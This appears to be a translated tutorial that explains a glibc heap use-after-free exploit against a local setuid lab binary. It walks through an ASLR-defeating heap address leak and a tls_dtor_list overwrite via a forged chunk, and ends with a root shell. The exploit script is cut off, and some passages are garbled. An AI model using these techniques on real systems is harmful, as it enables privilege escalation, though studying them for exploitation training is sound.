Use-After-Free vulnerability

Hello habr! In anticipation of the start of the advanced course “Reverse Engineering” we have prepared another interesting translation for you. Let’s start!

Prerequisites:

  1. Vulnerability Off-By-One
  2. Understanding work malloc in glibc

Virtual machine configuration: Fedora 20 (x86).

What is Use-After-Free (UaF)?

The Use-After-Free bug occurs if the heap pointer continues to be used after it has been freed. Such a vulnerability could lead to the execution of derived code.

Vulnerable code:

#include 
#include 
#include 
#define BUFSIZE1 1020
#define BUFSIZE2 ((BUFSIZE1/2) - 4)

int main(int argc, char **argv) {

 char* name = malloc(12); /* [1] */
 char* details = malloc(12); /* [2] */
 strncpy(name, argv[1], 12-1); /* [3] */
 free(details); /* [4] */
 free(name);  /* [5] */
 printf("Welcome %sn",name); /* [6] */
 fflush(stdout);

 char* tmp = (char *) malloc(12); /* [7] */
 char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
 char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
 free(p2); /* [10] */
 char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
 char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */

 printf("Enter your regionn");
 fflush(stdout);
 read(0,p2,BUFSIZE1-1); /* [13] */
 printf("Region:%sn",p2); 
 free(p1); /* [14] */
}

Compilation commands:

#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

Note: compared with previous article, ASLR is enabled here. Now let’s take advantage of the UaF bug, and since ASLR is enabled, let’s work around it with information leaks and brute-force.

In the code above, the use-after-free vulnerabilities are in the lines [6] and [13]… The corresponding heap memories are freed in lines [5] and [10], but their pointers are used after being freed in strings [6] and [13]! UaF in line [6] leads to information leak, in line [13] – to the execution of arbitrary code.

What is information leak? How can an attacker exploit it?

In the vulnerable code above (in the line [6]) leaks at the heap address. The leaked heap address will help an attacker to easily figure out the randomly allocated heap segment address, thereby bypassing the ASLR.

To understand how a heap address leak occurs, let’s first understand the first half of the vulnerable code.

  • Line [1] allocates a 16-byte heap memory area for “Name”
  • Line [2] allocates a 16-byte heap memory area for “Details”
  • Line [3] copies program argument 1 (argv[1]) to the heap memory area “Name”
  • Strings [4] and [5] deallocate the “name” and “details” heap memory areas back to glibc malloc.
  • Printf on line [6] uses the pointer “name” after it is freed, which results in a heap address leak.

After reading articles from the Prerequisites section, we know that chunkscorresponding to pointers “Name” and “Details” Are fast-chunks, which when liberation stored by zero index in fast cells. We also know that each fast cell contains a singly linked list of free chunks. Thus, returning to our example, a singly linked list at index zero in a fast cell looks like the following:

main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL

Because of the singularity, the first 4 bytes “Name” contain address “Details_chunk”… So when outputting “Name”, the address is displayed first “Details_chunk”… Based on the heap diagram, we know that “Details_chunk” offset 0x10 from the heap base address. So subtracting 0x10 from the leaked heap address will give us its base address!

How is arbitrary code execution achieved?

Now that we have the base address of the heap segment, let’s see how to execute arbitrary code by looking at the second half of our example.

  • Line [7] allocates a 16-byte heap memory area for “Tmp”
  • Line [8] allocates a 1024-byte heap memory area for “P1”
  • Line [9] allocates a 1024-byte heap memory area for “P2”
  • Line [10] frees an area of ​​heap memory “P2” back to glibc malloc
  • Line [11] allocates 512 bytes of heap memory for “P2_1”
  • Line [12] allocates 512 bytes of heap memory for “P2_2”
  • Read in line [13] uses a pointer “P2” after his release.
  • Line [14] frees an area of ​​heap memory “P1” back to glibc malloc, which leads to the execution of arbitrary code when the program exits.

After reading articles from section Prerequisites, we know that when “P2” released in glibc malloc, he consolidates to the top chunk. Later when memory is requested for “P2_1”, it stands out from the top chunk and “P2” and “P2_2” have the same heap address. Further, when memory is requested for “P2_2”, it stands out from the top chunk and “P2_2” is 512 bytes away from “P2”… So when the pointer “P2” used after freeing in line [13], data controlled by the attacker (maximum 1019 bytes) is copied to “P2_1”which is only 512 bytes in size, and therefore the remaining data of the attacker overwrites the next chunk “P2_2”, allowing an attacker to overwrite a field the size of the next chunk header.

Heap layout:

As we know from articles from section Prerequisitesif an attacker can successfully rewrite the LSB of the next chunk size field, he can deceive glibc mallocto break the link with the chunk “P2_1”even if it is in an allocated state. also in that article We have seen that detaching a large chunk in an allocated state can lead to arbitrary code execution if an attacker has carefully tampered with the chunk header. The attacker creates a fake chunk header as shown below:

  • fd should point to a freed chunk address. From the heap diagram, we see that “P2_1” is at offset 0x410. Hence, fd = heap_base_address (which got leaked) + 0x410.
  • bk should also point to a freed chunk address. From the heap diagram, we see that “P2_1” is at offset 0x410. Hence, fd = heap_base_address (which got leaked) + 0x410.
  • fd_nextsize should point to tls_dtor_list – 0x14. “Tls_dtor_list” belongs to a randomized segment private anonymous mapping из glibc… To deal with randomization, we will use brute force, as shown in the exploit code below.
  • bk_nextsize must point to the address of the heap that contains the element “Dtor_list”“System” dtor_list is injected by an attacker after forging the chunk header, while “Setuid” dtor_list put by an attacker instead of a heap memory area “P2_2”… We know from the heap diagram that dtor_list is located at offset 0x428 and 0x618, respectively.

Now that we have all this information, we can write an exploit to attack the vulnerable binary. “Vuln”

Exploit code:

#exp.py
#!/usr/bin/env python
import struct
import sys
import telnetlib
import time

ip = '127.0.0.1'
port = 1234

def conv(num): return struct.pack("

Since during brute-force we need several attempts (until we succeed), let's run our vulnerable binary "Vuln" as a network server and use a shell script to make sure that it automatically restarts when it crashes.

#vuln.sh
#!/bin/sh
nc_process_id=$(pidof nc)
while :
do
 if [[ -z $nc_process_id ]]; then
 echo "(Re)starting nc..."
 nc -l -p 1234 -c "./vuln sploitfun"
 else
 echo "nc is running..."
 fi
done

Executing the exploit code above will give you root privileges in the shell. Happened!

Shell-1$./vuln.sh
Shell-2$python exp.py
...
** Leaked heap addresses : [0x889d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
** Leaked heap addresses : [0x895d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
id
uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
exit
** Leaked heap addresses : [0x890c010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
...
$

Source:

1. Revisiting Defcon CTF Shitsco Use-After-Free Vulnerability - Remote Code Execution


Bootkit analysis. Free lesson


Read more:

  • BIOS-based rootkits. Part 1
  • BIOS-based rootkits. Part 2

Similar Posts

Leave a Reply

Your email address will not be published. Required fields are marked *